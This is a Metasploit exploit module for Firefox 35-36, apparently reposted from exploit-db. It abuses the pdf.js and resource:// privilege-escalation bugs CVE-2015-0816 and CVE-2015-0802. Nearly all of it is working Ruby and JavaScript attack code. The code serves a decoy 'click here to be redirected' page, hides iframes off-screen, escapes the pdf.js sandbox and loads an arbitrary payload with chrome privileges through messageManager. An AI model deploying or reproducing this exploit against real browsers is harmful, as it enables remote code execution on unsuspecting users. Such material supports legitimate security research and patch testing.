Mozilla Firefox – ‘pdf.js’ Privileged JavaScript Injection (Metasploit)

  • 作者: Metasploit
    日期: 2015-08-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37958/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ManualRanking
    
    include Msf::Exploit::Remote::BrowserExploitServer
    include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
    
    def initialize(info={})
    super(update_info(info,
    'Name'=> 'Firefox PDF.js Privileged Javascript Injection',
    'Description' => %q{
    This module gains remote code execution on Firefox 35-36 by abusing a
    privilege escalation bug in resource:// URIs. PDF.js is used to exploit
    the bug. This exploit requires the user to click anywhere on the page to
    trigger the vulnerability.
    },
    'Author' => [
    'Unknown', # PDF.js injection code was taken from a 0day
    'Marius Mlynski', # discovery and pwn2own exploit
    'joev' # copypasta monkey, CVE-2015-0802
    ],
    'DisclosureDate' => "Mar 31 2015",
    'License' => MSF_LICENSE,
    'References' =>
    [
    ['CVE', '2015-0816'], # pdf.js can load chrome://
    ['CVE', '2015-0802']# can access messageManager property in chrome window
    ],
    'Targets' => [
    [
    'Universal (Javascript XPCOM Shell)', {
    'Platform' => 'firefox',
    'Arch' => ARCH_FIREFOX
    }
    ],
    [
    'Native Payload', {
    'Platform' => %w{ java linux osx solaris win },
    'Arch' => ARCH_ALL
    }
    ]
    ],
    'DefaultTarget' => 0,
    'BrowserRequirements' => {
    :source=> 'script',
    :ua_name => HttpClients::FF,
    :ua_ver=> lambda { |ver| ver.to_i.between?(35, 36) }
    }
    ))
    
    register_options([
    OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
    ], self.class)
    end
    
    def on_request_exploit(cli, request, target_info)
    print_status('Sending exploit...')
    send_response_html(cli, html)
    end
    
    def html
    "<!doctype html><html><body>#{datastore['CONTENT'] || default_html}"+
    "<script>#{js}</script></body></html>"
    end
    
    def default_html
    "The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
    end
    
    def js
    key = Rex::Text.rand_text_alpha(5 + rand(12))
    frame = Rex::Text.rand_text_alpha(5 + rand(12))
    r = Rex::Text.rand_text_alpha(5 + rand(12))
    opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
    
    <<-EOJS
    function xml2string(obj) {
    return new XMLSerializer().serializeToString(obj);
    }
    
    function __proto(obj) {
    return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;
    }
    
    function get(path, callback, timeout, template, value) {
    callback = _(callback);
    if (template && value) {
    callback = callback.replace(template, value);
    }
    js_call1 = 'javascript:' + _(function() {
    try {
    done = false;
    window.onclick = function() {
    if (done) { return; } done = true;
    q = open("%url%", "q", "chrome,,top=-9999px,left=-9999px,height=1px,width=1px");
    setTimeout(function(){
    q.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
    
    setTimeout(function(){
    var opts = #{JSON.unparse(opts)};
    var key = opts['#{key}'];
    q.messageManager.loadFrameScript('data:,'+key, false);
    setTimeout(function(){
    q.close();
    }, 100)
    }, 100)
    }, 100);
    }
    } catch (e) {
    history.back();
    }
    undefined;
    }, "%url%", path);
    js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined';
    sandboxContext(_(function() {
    p = __proto(i.contentDocument.styleSheets[0].ownerNode);
    l = p.__lookupSetter__.call(i2.contentWindow, 'location');
    l.call(i2.contentWindow, window.wrappedJSObject.js_call1);
    }));
    setTimeout((function() {
    sandboxContext(_(function() {
    p = __proto(i.contentDocument.styleSheets[0].ownerNode);
    l = p.__lookupSetter__.call(i2.contentWindow, 'location');
    l.call(i2.contentWindow, window.wrappedJSObject.js_call2);
    }));
    }), timeout);
    }
    
    function get_data(obj) {
    data = null;
    try {
    data = obj.document.documentElement.innerHTML;
    if (data.indexOf('dirListing') < 0) {
    throw new Error();
    }
    } catch (e) {
    if (this.document instanceof XMLDocument) {
    data = xml2string(this.document);
    } else {
    try {
    if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') {
    data = this.document.body.firstChild.textContent;
    } else {
    throw new Error();
    }
    } catch (e) {
    try {
    if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {;
    return null;
    } else {
    throw new Error();
    }
    } catch (e) {
    ;;
    }
    }
    }
    }
    return data;
    }
    
    function _(s, template, value) {
    s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1];
    s = s.substring(0, s.length - 1);
    if (template && value) {
    s = s.replace(template, value);
    }
    s += __proto;
    s += xml2string;
    s += get_data;
    s = s.replace(/\\s\\/\\/.*\\n/g, "");
    s = s + ";undefined";
    return s;
    }
    
    function get_sandbox_context() {
    if (window.my_win_id == null) {
    for (var i = 0; i < 20; i++) {
    try {
    if (window[i].location.toString().indexOf("view-source:") != -1) {
    my_win_id = i;
    break;
    }
    } catch (e) {}
    }
    };
    if (window.my_win_id == null)
    return;
    clearInterval(sandbox_context_i);
    object.data = 'view-source:' + blobURL;
    window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,';
    object.data = 'data:text/html,<'+'html/>';
    window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+
    '"position:absolute; left:-9999px;" onload = "'+_(function(){
    window.wrappedJSObject.sandboxContext=(function(cmd) {
    with(importFunction.constructor('return this')()) {
    return eval(cmd);
    }
    });
    }) + '"/>');
    }
    
    var HIDDEN = 'position:absolute;left:-9999px;height:1px;width:1px;';
    var i = document.createElement("iframe");
    i.id = "i";
    i.style=HIDDEN;
    i.src = "data:application/xml,<?xml version=\\"1.0\\"?><e><e1></e1></e>";
    document.documentElement.appendChild(i);
    i.onload = function() {
    if (this.contentDocument.styleSheets.length > 0) {
    var i2 = document.createElement("iframe");
    i2.id = "i2";
    i2.style='opacity: 0;position:absolute;top:0;left:0;right:0;bottom:0;';
    i2.height = window.innerHeight+'px';
    i2.width = window.innerWidth+'px';
    i2.src = "data:application/pdf,";
    document.documentElement.appendChild(i2);
    pdfBlob = new Blob([''], {
    type: 'application/pdf'
    });
    blobURL = URL.createObjectURL(pdfBlob);
    object = document.createElement('object');
    object.style=HIDDEN;
    object.data = 'data:application/pdf,';
    object.onload = (function() {
    sandbox_context_i = setInterval(get_sandbox_context, 200);
    object.onload = null;
    object.data = 'view-source:' + location.href;
    return;
    });
    document.documentElement.appendChild(object);
    } else {
    this.contentWindow.location.reload();
    }
    }
    
    document.body.style.height = window.innerHeight+'px';
    
    var kill = setInterval(function() {
    if (window.sandboxContext) {
    var f = "chrome://browser/content/browser.xul";
    get(f, function() {}, 0, "%URL%", f);
    clearInterval(kill);
    } else {
    return;
    }
    },20);
    
    EOJS
    end
    end